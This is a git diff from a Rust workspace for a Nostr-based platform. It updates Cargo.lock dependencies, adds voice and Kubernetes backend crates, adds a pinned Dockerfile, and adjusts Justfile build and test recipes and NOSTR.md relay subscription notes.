+dependencies = [ + "either", + "itertools", + "rayon", +] + +[[package]] +name = "rayon-core" +version = "1.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22e18b0f0062d30d4230b2e85ff77fdfe4326feb054b9783a3460d8435c8ab91" +dependencies = [ + "crossbeam-deque", + "crossbeam-utils", +] + [[package]] name = "redb" version = "3.1.3" @@ -7249,7 +7771,7 @@ version = "0.12.28" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "eddd3ca559203180a307f12d114c268abf583f59b03cb906fd0b3ff8646c1147" dependencies = [ - "base64", + "base64 0.22.1", "bytes", "encoding_rs", "futures-channel", @@ -7297,7 +7819,7 @@ version = "0.13.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "219c5811de6525e5416c7d5d53bb656d3afdbc6c5af816e0802bcfa42dbdc1c3" dependencies = [ - "base64", + "base64 0.22.1", "bytes", "encoding_rs", "futures-core", @@ -7387,7 +7909,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1d1f571c72940a19d9532fe52dbea8bc9912bf1d766c2970bb824056b86f3f59" dependencies = [ "async-trait", - "base64", + "base64 0.22.1", "bytes", "chrono", "futures", @@ -7455,7 +7977,7 @@ dependencies = [ "async-trait", "aws-creds", "aws-region", - "base64", + "base64 0.22.1", "bytes", "cfg-if 1.0.4", "futures-util", @@ -7779,6 +8301,15 @@ dependencies = [ "cc", ] +[[package]] +name = "secrecy" +version = "0.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e891af845473308773346dc847b2c23ee78fe442e0472ac50e22a18a93d3ae5a" +dependencies = [ + "zeroize", +] + [[package]] name = "secret-service" version = "4.0.0" @@ -7856,6 +8387,18 @@ version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "cd0b0ec5f1c1ca621c432a25813d8d60c88abe6d3e08a3eb9cf37d97a0fe3d73" +[[package]] +name = "sentencepiece-model" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "40b87bf750a8322c3236d7aa63c1f4a6862187d00d2d8b038e1dfe263bfe43ec" +dependencies = [ + "miette", + "prost 0.13.5", + "prost-build 0.13.5", + "protox", +] + [[package]] name = "serde" version = "1.0.228" @@ -7866,6 +8409,16 @@ dependencies = [ "serde_derive", ] +[[package]] +name = "serde-value" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f3a1a3341211875ef120e117ea7fd5228530ae7e7036a779fdc9117be6b3282c" +dependencies = [ + "ordered-float 2.10.1", + "serde", +] + [[package]] name = "serde_bytes" version = "0.11.19" @@ -8066,6 +8619,28 @@ dependencies = [ "os_str_bytes", ] +[[package]] +name = "sherpa-onnx" +version = "1.13.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b142d3f255cb4e4b7808ea25869db6f5714e0a3550da355234483b4db552055" +dependencies = [ + "serde", + "serde_json", + "sherpa-onnx-sys", +] + +[[package]] +name = "sherpa-onnx-sys" +version = "1.13.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffc951af03dc0653c0622158ca8a585a6f2bc43b7b06048cf0e5b5020005c227" +dependencies = [ + "bzip2", + "tar", + "ureq", +] + [[package]] name = "shlex" version = "1.3.0" @@ -8201,8 +8776,8 @@ name = "skippy-protocol" version = "0.74.0" source = "git+https://github.com/Mesh-LLM/mesh-llm.git?tag=v0.74.0#e60b2fe43aa05271569fbeff2a457133aef456a1" dependencies = [ - "prost", - "prost-build", + "prost 0.14.3", + "prost-build 0.14.3", "protoc-bin-vendored", "serde", ] @@ -8230,7 +8805,7 @@ dependencies = [ "anyhow", "async-trait", "axum", - "base64", + "base64 0.22.1", "blake3", "clap", "futures-util", @@ -8337,6 +8912,18 @@ dependencies = [ "der", ] +[[package]] +name = "spm_precompiled" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5851699c4033c63636f7ea4cf7b7c1f1bf06d0cc03cfb42e711de5a5c46cf326" +dependencies = [ + "base64 0.13.1", + "nom", + "serde", + "unicode-segmentation", +] + [[package]] name = "sprig" version = "0.1.0" @@ -8365,7 +8952,7 @@ version = "0.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "05b44e85bf579a8eeb4ceaa77a3a523baf2bf0e9bac7e40f405d537b5d2d5ccb" dependencies = [ - "base64", + "base64 0.22.1", "bytes", "cfg-if 1.0.4", "chrono", @@ -8471,7 +9058,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "87a2bdd6e83f6b3ea525ca9fee568030508b58355a43d0b2c1674d5f79dcd65e" dependencies = [ "atoi", - "base64", + "base64 0.22.1", "bitflags 2.13.0", "byteorder", "chrono", @@ -8612,6 +9199,164 @@ version = "0.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a7973cce6668464ea31f176d85b13c7ab3bba2cb3b77a2ed26abd7801688010a" +[[package]] +name = "symphonia" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5773a4c030a19d9bfaa090f49746ff35c75dfddfa700df7a5939d5e076a57039" +dependencies = [ + "lazy_static", + "symphonia-bundle-flac", + "symphonia-bundle-mp3", + "symphonia-codec-aac", + "symphonia-codec-alac", + "symphonia-codec-pcm", + "symphonia-codec-vorbis", + "symphonia-core", + "symphonia-format-isomp4", + "symphonia-format-ogg", + "symphonia-format-riff", + "symphonia-metadata", +] + +[[package]] +name = "symphonia-bundle-flac" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c91565e180aea25d9b80a910c546802526ffd0072d0b8974e3ebe59b686c9976" +dependencies = [ + "log", + "symphonia-core", + "symphonia-metadata", + "symphonia-utils-xiph", +] + +[[package]] +name = "symphonia-bundle-mp3" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4872dd6bb56bf5eac799e3e957aa1981086c3e613b27e0ac23b176054f7c57ed" +dependencies = [ + "lazy_static", + "log", + "symphonia-core", + "symphonia-metadata", +] + +[[package]] +name = "symphonia-codec-aac" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c263845aa86881416849c1729a54c7f55164f8b96111dba59de46849e73a790" +dependencies = [ + "lazy_static", + "log", + "symphonia-core", +] + +[[package]] +name = "symphonia-codec-alac" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8413fa754942ac16a73634c9dfd1500ed5c61430956b33728567f667fdd393ab" +dependencies = [ + "log", + "symphonia-core", +] + +[[package]] +name = "symphonia-codec-pcm" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e89d716c01541ad3ebe7c91ce4c8d38a7cf266a3f7b2f090b108fb0cb031d95" +dependencies = [ + "log", + "symphonia-core", +] + +[[package]] +name = "symphonia-codec-vorbis" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f025837c309cd69ffef572750b4a2257b59552c5399a5e49707cc5b1b85d1c73" +dependencies = [ + "log", + "symphonia-core", + "symphonia-utils-xiph", +] + +[[package]] +name = "symphonia-core" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ea00cc4f79b7f6bb7ff87eddc065a1066f3a43fe1875979056672c9ef948c2af" +dependencies = [ + "arrayvec", + "bitflags 1.3.2", + "bytemuck", + "lazy_static", + "log", +] + +[[package]] +name = "symphonia-format-isomp4" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "243739585d11f81daf8dac8d9f3d18cc7898f6c09a259675fc364b382c30e0a5" +dependencies = [ + "encoding_rs", + "log", + "symphonia-core", + "symphonia-metadata", + "symphonia-utils-xiph", +] + +[[package]] +name = "symphonia-format-ogg" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b4955c67c1ed3aa8ae8428d04ca8397fbef6a19b2b051e73b5da8b1435639cb" +dependencies = [ + "log", + "symphonia-core", + "symphonia-metadata", + "symphonia-utils-xiph", +] + +[[package]] +name = "symphonia-format-riff" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2d7c3df0e7d94efb68401d81906eae73c02b40d5ec1a141962c592d0f11a96f" +dependencies = [ + "extended", + "log", + "symphonia-core", + "symphonia-metadata", +] + +[[package]] +name = "symphonia-metadata" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "36306ff42b9ffe6e5afc99d49e121e0bd62fe79b9db7b9681d48e29fa19e6b16" +dependencies = [ + "encoding_rs", + "lazy_static", + "log", + "symphonia-core", +] + +[[package]] +name = "symphonia-utils-xiph" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee27c85ab799a338446b68eec77abf42e1a6f1bb490656e121c6e27bfbab9f16" +dependencies = [ + "symphonia-core", + "symphonia-metadata", +] + [[package]] name = "syn" version = "1.0.109" @@ -8709,7 +9454,7 @@ version = "1.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fce91f2f0ec87dff7e6bcbbeb267439aa1188703003c6055193c821487400432" dependencies = [ - "unicode-width", + "unicode-width 0.2.2", ] [[package]] @@ -8783,9 +9528,9 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4676b37242ccbd1aabf56edb093a4827dc49086c0ffd764a5705899e0f35f8f7" dependencies = [ "anyhow", - "base64", + "base64 0.22.1", "bitflags 2.13.0", - "fancy-regex", + "fancy-regex 0.11.0", "filedescriptor", "finl_unicode", "fixedbitset 0.4.2", @@ -8935,6 +9680,39 @@ version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" +[[package]] +name = "tokenizers" +version = "0.22.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b238e22d44a15349529690fb07bd645cf58149a1b1e44d6cb5bd1641ff1a6223" +dependencies = [ + "ahash", + "aho-corasick", + "compact_str 0.9.1", + "dary_heap", + "derive_builder", + "esaxx-rs", + "fancy-regex 0.14.0", + "getrandom 0.3.4", + "itertools", + "log", + "macro_rules_attribute", + "monostate", + "paste", + "rand 0.9.4", + "rayon", + "rayon-cond", + "regex", + "regex-syntax", + "serde", + "serde_json", + "spm_precompiled", + "thiserror 2.0.18", + "unicode-normalization-alignments", + "unicode-segmentation", + "unicode_categories", +] + [[package]] name = "tokio" version = "1.52.3" @@ -9070,7 +9848,7 @@ version = "0.13.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dad543404f98bfc969aeb71994105c592acfc6c43323fddcd016bb208d1c65cb" dependencies = [ - "base64", + "base64 0.22.1", "bytes", "futures-core", "futures-sink", @@ -9171,7 +9949,7 @@ checksum = "ac2a5518c70fa84342385732db33fb3f44bc4cc748936eb5833d2df34d6445ef" dependencies = [ "async-trait", "axum", - "base64", + "base64 0.22.1", "bytes", "h2", "http", @@ -9200,7 +9978,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "50849f68853be452acf590cde0b146665b8d507b3b8af17261df47e02c209ea0" dependencies = [ "bytes", - "prost", + "prost 0.14.3", "tonic", ] @@ -9210,8 +9988,8 @@ version = "0.14.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "73ab1b02061f83d519bba3caa167f88f261ef05720ab8ebc954ade70de3348e8" dependencies = [ - "prost", - "prost-types", + "prost 0.14.3", + "prost-types 0.14.3", "tonic", ] @@ -9241,6 +10019,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4cfcf7e2740e6fc6d4d688b4ef00650406bb94adf4731e43c096c3a19fe40840" dependencies = [ "async-compression", + "base64 0.22.1", "bitflags 2.13.0", "bytes", "futures-core", @@ -9500,6 +10279,15 @@ dependencies = [ "tinyvec", ] +[[package]] +name = "unicode-normalization-alignments" +version = "0.1.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "43f613e4fa046e69818dd287fdc4bc78175ff20331479dab6e1b0f98d57062de" +dependencies = [ + "smallvec", +] + [[package]] name = "unicode-properties" version = "0.1.4" @@ -9520,9 +10308,15 @@ checksum = "16b380a1238663e5f8a691f9039c73e1cdae598a30e9855f541d29b08b53e9a5" dependencies = [ "itertools", "unicode-segmentation", - "unicode-width", + "unicode-width 0.2.2", ] +[[package]] +name = "unicode-width" +version = "0.1.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7dd6e30e90baa6f72411720665d41d89b9a3d039dc45b8faea1ddd07f617f6af" + [[package]] name = "unicode-width" version = "0.2.2" @@ -9535,6 +10329,12 @@ version = "0.2.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853" +[[package]] +name = "unicode_categories" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39ec24b3121d976906ece63c9daad25b85969647682eee313cb5779fdd69e14e" + [[package]] name = "universal-hash" version = "0.5.1" @@ -9557,6 +10357,22 @@ version = "0.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" +[[package]] +name = "ureq" +version = "2.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "02d1a66277ed75f640d608235660df48c8e3c19f3b4edb6a263315626cc3c01d" +dependencies = [ + "base64 0.22.1", + "flate2", + "log", + "once_cell", + "rustls", + "rustls-pki-types", + "url", + "webpki-roots 0.26.11", +] + [[package]] name = "url" version = "2.5.8" @@ -10480,8 +11296,8 @@ dependencies = [ "log", "serde", "thiserror 2.0.18", - "windows 0.61.3", - "windows-core 0.61.2", + "windows 0.62.2", + "windows-core 0.62.2", ] [[package]] @@ -10548,7 +11364,7 @@ checksum = "3e1e496dcbe6a09017acdfaf48e1a646735e7ff5b2a49e2c7e081cca77a59bc8" dependencies = [ "anyhow", "async-trait", - "base64", + "base64 0.22.1", "bytes", "clap", "crc32fast", @@ -10585,7 +11401,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "cb838aa8eb67d730af301584cf003caad407487606058292a6750711b603fbee" dependencies = [ "async-trait", - "base64", + "base64 0.22.1", "blake3", "bytemuck", "bytes", diff --git a/Cargo.toml b/Cargo.toml index 3ac7ee4cce..cc1dd0f9df 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -26,6 +26,8 @@ members = [ "crates/buzz-pair-relay", "crates/buzz-relay-mesh", "crates/buzz-dev-mcp", + "crates/buzz-voice", + "crates/buzz-backend-kubernetes", "examples/countdown-bot", ] exclude = ["desktop/src-tauri"] @@ -57,6 +59,13 @@ sqlx = { version = "0.9", features = [ redis = { version = "1.0", features = ["tokio-comp", "connection-manager", "tokio-rustls-comp"] } deadpool-redis = { version = "0.23", features = ["rt_tokio_1"] } +# Kubernetes (buzz-backend-kubernetes provider). No `ring` feature here: the +# process-level CryptoProvider is installed explicitly at startup, matching +# buzz-cli/buzz-acp/buzz-admin/buzz-relay/buzz-dev-mcp — see the comment on the +# crate's own rustls dependency. +kube = { version = "2.0", default-features = false, features = ["client", "rustls-tls"] } +k8s-openapi = { version = "0.26", features = ["v1_31"] } + # Nostr nostr = { version = "0.44", features = ["nip44", "nip98"] } diff --git a/Dockerfile.sprig b/Dockerfile.sprig new file mode 100644 index 0000000000..160e0b5662 --- /dev/null +++ b/Dockerfile.sprig @@ -0,0 +1,44 @@ +# syntax=docker/dockerfile:1.7 +# Multi-arch is produced by building this file on native amd64 and arm64 runners. +# Keep both bases pinned to manifest-list digests so either architecture resolves +# to immutable source bytes. +FROM rust:1.95-alpine3.22@sha256:064dfc925d68d1a63f4fd2871bd7dc6e6ea56692989a487185855d62885d90aa AS builder + +RUN apk add --no-cache \ + build-base \ + cmake \ + git \ + musl-dev \ + openssl-dev \ + openssl-libs-static \ + perl \ + pkgconf \ + protoc +WORKDIR /build +COPY . . +RUN cargo build --locked --profile sprig -p sprig \ + && strip target/sprig/sprig + +FROM alpine:3.22@sha256:14358309a308569c32bdc37e2e0e9694be33a9d99e68afb0f5ff33cc1f695dce + +RUN apk add --no-cache bash ca-certificates curl git \ + && adduser -D -h /home/agent agent \ + && install -d -o agent -g agent /workspace /home/agent \ + && git config --system gpg.format x509 \ + && git config --system gpg.x509.program /usr/local/bin/git-sign-nostr \ + && git config --system commit.gpgSign true \ + && git config --system tag.gpgSign true + +COPY --from=builder --chmod=0755 /build/target/sprig/sprig /usr/local/bin/sprig +COPY --chmod=0755 scripts/sprig-entrypoint.sh /usr/local/bin/sprig-entrypoint +RUN for name in \ + buzz-acp buzz-agent buzz-dev-mcp rg tree buzz \ + git-credential-nostr git-sign-nostr; do \ + ln -s sprig "/usr/local/bin/$name"; \ + done + +ENV HOME=/home/agent \ + PATH=/usr/local/bin:/usr/local/sbin:/usr/sbin:/usr/bin:/sbin:/bin +WORKDIR /home/agent +USER agent +ENTRYPOINT ["/usr/local/bin/sprig-entrypoint"] diff --git a/Justfile b/Justfile index 2d76f1a7b9..0a43249d5f 100644 --- a/Justfile +++ b/Justfile @@ -155,7 +155,11 @@ _ensure-sidecar-stubs: set -euo pipefail TARGET=$(rustc -vV | sed -n 's|host: ||p') mkdir -p desktop/src-tauri/binaries - for bin in buzz-acp buzz-agent buzz-dev-mcp git-credential-nostr buzz; do + SIDECARS=(buzz-acp buzz-agent buzz-dev-mcp git-credential-nostr buzz) + if [[ "$TARGET" != *windows* ]]; then + SIDECARS+=(buzz-backend-kubernetes) + fi + for bin in "${SIDECARS[@]}"; do touch "desktop/src-tauri/binaries/${bin}-${TARGET}" done @@ -192,7 +196,7 @@ _ensure-migrations: _ensure-services # Run clippy on the desktop Tauri Rust crate desktop-tauri-clippy: _ensure-sidecar-stubs - cargo clippy --manifest-path {{desktop_tauri_manifest}} --all-targets -- -D warnings + cargo clippy --manifest-path {{desktop_tauri_manifest}} --workspace --all-targets -- -D warnings # Check the desktop Tauri Rust crate compiles desktop-tauri-check: _ensure-sidecar-stubs @@ -200,30 +204,42 @@ desktop-tauri-check: _ensure-sidecar-stubs # Run desktop Tauri Rust unit tests desktop-tauri-test: _ensure-sidecar-stubs - cd desktop/src-tauri && cargo test - -# Verify compiled-flag behavior under both compile states (clean + internal). -# Runs the observer_archive focused test twice with independently supplied -# expected values; build.rs rerun-if-env-changed triggers recompilation. + cd desktop/src-tauri && cargo test --workspace + +# Run the native terminal latency gate explicitly on a known-idle host. +# This is intentionally excluded from shared CI: scheduler contention makes a +# wall-clock assertion flaky, and the release profile is the shipped shape. +desktop-terminal-performance-test: + cargo test --manifest-path desktop/src-tauri/crates/buzz-terminal/Cargo.toml --release --test latency g3_renderer_acquire_stays_within_frame_budget -- --ignored --exact --nocapture + +# Verify compiled-flag behavior under both compile states (clean + capability set). +# Runs the auto-connect and owner-only access focused tests twice with +# independently supplied expected values; build.rs rerun-if-env-changed +# triggers recompilation. desktop-tauri-test-compiled-flags: _ensure-sidecar-stubs #!/usr/bin/env bash set -euo pipefail cd desktop/src-tauri echo "=== Clean build (no flag) → expect false ===" - env -u BUZZ_BUILD_OBSERVER_ARCHIVE_DEFAULT \ - -u BUZZ_BUILD_AUTO_CONNECT_DEFAULT_RELAY \ - BUZZ_TEST_EXPECTED_OBSERVER_ARCHIVE_DEFAULT=false \ - cargo test observer_archive_default_enabled_matches_expected -- --ignored --nocapture env -u BUZZ_BUILD_AUTO_CONNECT_DEFAULT_RELAY \ BUZZ_TEST_EXPECTED_AUTO_CONNECT_DEFAULT_RELAY=false \ cargo test compiled_flag_matches_expected -- --ignored --nocapture + env -u BUZZ_BUILD_AGENT_ACCESS_OWNER_ONLY \ + BUZZ_TEST_EXPECTED_AGENT_ACCESS_OWNER_ONLY=false \ + cargo test --lib + env -u BUZZ_BUILD_AGENT_ACCESS_OWNER_ONLY \ + BUZZ_TEST_EXPECTED_AGENT_ACCESS_OWNER_ONLY=false \ + cargo test compiled_policy_matches_expected -- --ignored --nocapture echo "=== Internal build (flags set) → expect true ===" - BUZZ_BUILD_OBSERVER_ARCHIVE_DEFAULT=1 \ - BUZZ_TEST_EXPECTED_OBSERVER_ARCHIVE_DEFAULT=true \ - cargo test observer_archive_default_enabled_matches_expected -- --ignored --nocapture BUZZ_BUILD_AUTO_CONNECT_DEFAULT_RELAY=1 \ BUZZ_TEST_EXPECTED_AUTO_CONNECT_DEFAULT_RELAY=true \ cargo test compiled_flag_matches_expected -- --ignored --nocapture + BUZZ_BUILD_AGENT_ACCESS_OWNER_ONLY=1 \ + BUZZ_TEST_EXPECTED_AGENT_ACCESS_OWNER_ONLY=true \ + cargo test --lib + BUZZ_BUILD_AGENT_ACCESS_OWNER_ONLY=1 \ + BUZZ_TEST_EXPECTED_AGENT_ACCESS_OWNER_ONLY=true \ + cargo test compiled_policy_matches_expected -- --ignored --nocapture echo "Both compiled states verified." # Build the full desktop Tauri app locally (unsigned, for testing) @@ -236,6 +252,9 @@ desktop-release-build target="aarch64-apple-darwin": mkdir -p desktop/src-tauri/binaries touch "desktop/src-tauri/binaries/buzz-acp-$TARGET" touch "desktop/src-tauri/binaries/buzz-agent-$TARGET" + if [[ "$TARGET" != *windows* ]]; then + touch "desktop/src-tauri/binaries/buzz-backend-kubernetes-$TARGET" + fi touch "desktop/src-tauri/binaries/buzz-dev-mcp-$TARGET" touch "desktop/src-tauri/binaries/git-credential-nostr-$TARGET" touch "desktop/src-tauri/binaries/buzz-$TARGET" @@ -274,8 +293,10 @@ test: # Run unit tests only (no infra needed) test-unit: #!/usr/bin/env bash + set -euo pipefail if command -v cargo-nextest &>/dev/null; then cargo nextest run -p buzz-core -p buzz-auth --lib + cargo nextest run -p buzz-voice --lib cargo nextest run -p buzz-cli # buzz-db migrator/lint tests: pure SQL-parsing unit tests (no infra). # They guard the embedded-migrator invariant (exactly the consolidated @@ -292,6 +313,12 @@ test-unit: # Gateway unit and black-box HTTP tests are infra-free. Postgres-backed # contract/race tests run in the dedicated CI job below. cargo nextest run -p buzz-push-gateway + # Kubernetes backend provider: the decision layers (state machine, GC + # planner, env precedence, naming, wire) are pure functions with a fake + # substrate, so they belong in the unit job. Enumerated explicitly + # because nothing in CI runs `cargo test --workspace` — workspace + # membership alone buys clippy/check, not a single executed test. + cargo nextest run -p buzz-backend-kubernetes else ./scripts/run-tests.sh unit fi @@ -429,7 +456,7 @@ dev *ARGS: bootstrap _ensure-sidecar-stubs _ensure-migrations fi done fi - cargo build -p buzz-acp -p buzz-agent -p buzz-dev-mcp -p buzz-cli -p git-credential-nostr -p buzz-relay + cargo build -p buzz-acp -p buzz-agent -p buzz-backend-kubernetes -p buzz-dev-mcp -p buzz-cli -p git-credential-nostr -p buzz-relay if [[ -n "{{mesh}}" ]]; then export MESH_LLM_NATIVE_RUNTIME_CACHE_DIR="$(./scripts/ensure-mesh-native-runtime.sh)" fi @@ -476,10 +503,10 @@ desktop-standalone *ARGS: _ensure-sidecar-stubs #!/usr/bin/env bash set -euo pipefail export PATH="{{justfile_directory()}}/bin:$PATH" - cargo build -p buzz-acp -p buzz-agent -p buzz-dev-mcp -p buzz-cli -p git-credential-nostr + cargo build -p buzz-acp -p buzz-agent -p buzz-backend-kubernetes -p buzz-dev-mcp -p buzz-cli -p git-credential-nostr TARGET=$(rustc -vV | sed -n 's|host: ||p') TARGET_DIR=$(cargo metadata --format-version 1 --no-deps | node -p "JSON.parse(require('fs').readFileSync(0, 'utf8')).target_directory") - for bin in buzz-acp buzz-agent buzz-dev-mcp git-credential-nostr buzz; do + for bin in buzz-acp buzz-agent buzz-backend-kubernetes buzz-dev-mcp git-credential-nostr buzz; do cp "${TARGET_DIR}/debug/${bin}" "desktop/src-tauri/binaries/${bin}-${TARGET}" chmod +x "desktop/src-tauri/binaries/${bin}-${TARGET}" done @@ -505,17 +532,26 @@ staging *ARGS: bootstrap _ensure-sidecar-stubs set -euo pipefail export PATH="{{justfile_directory()}}/bin:$PATH" pnpm install # unconditional: staging must always start with a clean dep tree - cargo build --release -p buzz-acp -p buzz-agent -p buzz-dev-mcp -p buzz-cli -p git-credential-nostr + cargo build --release -p buzz-acp -p buzz-agent -p buzz-backend-kubernetes -p buzz-dev-mcp -p buzz-cli -p git-credential-nostr FEATURES=() if [[ -n "{{mesh}}" ]]; then FEATURES=(--features mesh-llm) export MESH_LLM_NATIVE_RUNTIME_CACHE_DIR="$(./scripts/ensure-mesh-native-runtime.sh)" fi - # Replace the 0-byte sidecar stub with the real CLI binary so tauri dev picks it up. + # Replace 0-byte sidecar stubs with real binaries so tauri dev picks them up. + # buzz: the CLI sidecar. buzz-backend-kubernetes: provider discovery scans the + # exe dir for executable buzz-backend-* files, so the non-executable stub that + # tauri dev copies next to the exe would hide the provider from "Run on". TARGET=$(rustc -vV | sed -n 's|host: ||p') TARGET_DIR=$(cargo metadata --format-version 1 --no-deps | node -p "JSON.parse(require('fs').readFileSync(0, 'utf8')).target_directory") - cp "${TARGET_DIR}/release/buzz" "desktop/src-tauri/binaries/buzz-${TARGET}" - chmod +x "desktop/src-tauri/binaries/buzz-${TARGET}" + STAGING_SIDECARS=(buzz) + if [[ "$TARGET" != *windows* ]]; then + STAGING_SIDECARS+=(buzz-backend-kubernetes) + fi + for bin in "${STAGING_SIDECARS[@]}"; do + cp "${TARGET_DIR}/release/${bin}" "desktop/src-tauri/binaries/${bin}-${TARGET}" + chmod +x "desktop/src-tauri/binaries/${bin}-${TARGET}" + done cd {{desktop_dir}} export BUZZ_RELAY_URL="wss://sprout-oss.stage.blox.sqprod.co" source ../scripts/instance-env.sh @@ -532,17 +568,26 @@ production *ARGS: bootstrap _ensure-sidecar-stubs set -euo pipefail export PATH="{{justfile_directory()}}/bin:$PATH" pnpm install # unconditional: production must always start with a clean dep tree - cargo build --release -p buzz-acp -p buzz-agent -p buzz-dev-mcp -p buzz-cli -p git-credential-nostr + cargo build --release -p buzz-acp -p buzz-agent -p buzz-backend-kubernetes -p buzz-dev-mcp -p buzz-cli -p git-credential-nostr FEATURES=() if [[ -n "{{mesh}}" ]]; then FEATURES=(--features mesh-llm) export MESH_LLM_NATIVE_RUNTIME_CACHE_DIR="$(./scripts/ensure-mesh-native-runtime.sh)" fi - # Replace the 0-byte sidecar stub with the real CLI binary so tauri dev picks it up. + # Replace 0-byte sidecar stubs with real binaries so tauri dev picks them up. + # buzz: the CLI sidecar. buzz-backend-kubernetes: provider discovery scans the + # exe dir for executable buzz-backend-* files, so the non-executable stub that + # tauri dev copies next to the exe would hide the provider from "Run on". TARGET=$(rustc -vV | sed -n 's|host: ||p') TARGET_DIR=$(cargo metadata --format-version 1 --no-deps | node -p "JSON.parse(require('fs').readFileSync(0, 'utf8')).target_directory") - cp "${TARGET_DIR}/release/buzz" "desktop/src-tauri/binaries/buzz-${TARGET}" - chmod +x "desktop/src-tauri/binaries/buzz-${TARGET}" + PRODUCTION_SIDECARS=(buzz) + if [[ "$TARGET" != *windows* ]]; then + PRODUCTION_SIDECARS+=(buzz-backend-kubernetes) + fi + for bin in "${PRODUCTION_SIDECARS[@]}"; do + cp "${TARGET_DIR}/release/${bin}" "desktop/src-tauri/binaries/${bin}-${TARGET}" + chmod +x "desktop/src-tauri/binaries/${bin}-${TARGET}" + done cd {{desktop_dir}} export BUZZ_RELAY_URL="wss://buzz.block.builderlab.xyz" source ../scripts/instance-env.sh diff --git a/NOSTR.md b/NOSTR.md index 59df31b991..cce70f2f77 100644 --- a/NOSTR.md +++ b/NOSTR.md @@ -39,7 +39,7 @@ just relay & # relay on :3000 PGPASSWORD=buzz_dev psql -h localhost -U buzz -d buzz -c \ "INSERT INTO pubkey_allowlist (pubkey) VALUES (decode('<64-char-hex-pubkey>', 'hex'))" -# 5. Connect any NIP-29 + NIP-42 client to ws://localhost:3000 +# 4. Connect any NIP-29 + NIP-42 client to ws://localhost:3000 ``` ### What Works @@ -163,6 +163,10 @@ nak req -k 9 --tag "h=" --stream \ nak event -k 7 -c "+" --tag "h=" --tag "e=" \ --auth --sec ws://localhost:3000 +# Subscribe to reactions to channel messages — include #h for live delivery (see note below) +nak req -k 7 --tag "h=" --stream \ + --auth --sec ws://localhost:3000 + # Delete a message (#h optional; #e required; must be self-authored) nak event -k 5 -c "reason" --tag "h=" --tag "e=" \ --auth --sec ws://localhost:3000 @@ -185,6 +189,14 @@ nak req -k 1059 --tag "p=" \ --auth --sec ws://localhost:3000 ``` +> **Note:** The relay derives a reaction's channel from its `#e` target (client `#h` is +> ignored for channel determination). Reactions to channel-scoped events are therefore +> channel-scoped. Live fan-out keeps channel-scoped and global subscriptions strictly +> separate, which means a kinds-only subscription (`{"kinds":[7]}`) receives none of +> those reactions — subscribe with `{"kinds":[7],"#h":[""]}` instead. +> `#h` matching works whether or not the signed reaction carries an `h` tag: explicit +> `h` tags are matched directly, and tagless reactions match via their stored channel. + ### Tested Clients (Direct) | Client | Platform | Evidence | Notes | @@ -354,3 +366,7 @@ but only admins/owners can set it. Full spec: --- ## Further Reading + +- [nostr-protocol/nips](https://github.com/nostr-protocol/nips) — the upstream NIP specifications (NIP-01, NIP-29, NIP-42, and the other NIPs referenced throughout this guide). +- [`docs/nips/`](docs/nips/) — Buzz's own NIP extension documents. +- [`ARCHITECTURE.md`](ARCHITECTURE.md) — event kinds, wire protocol, and relay internals. diff --git a/README.md b/README.md index 72af92ce13..56439f00bc 100644 --- a/README.md +++ b/README.md @@ -10,6 +10,7 @@ Forge · Agents · Architecture · + Releasing · Apache 2.0

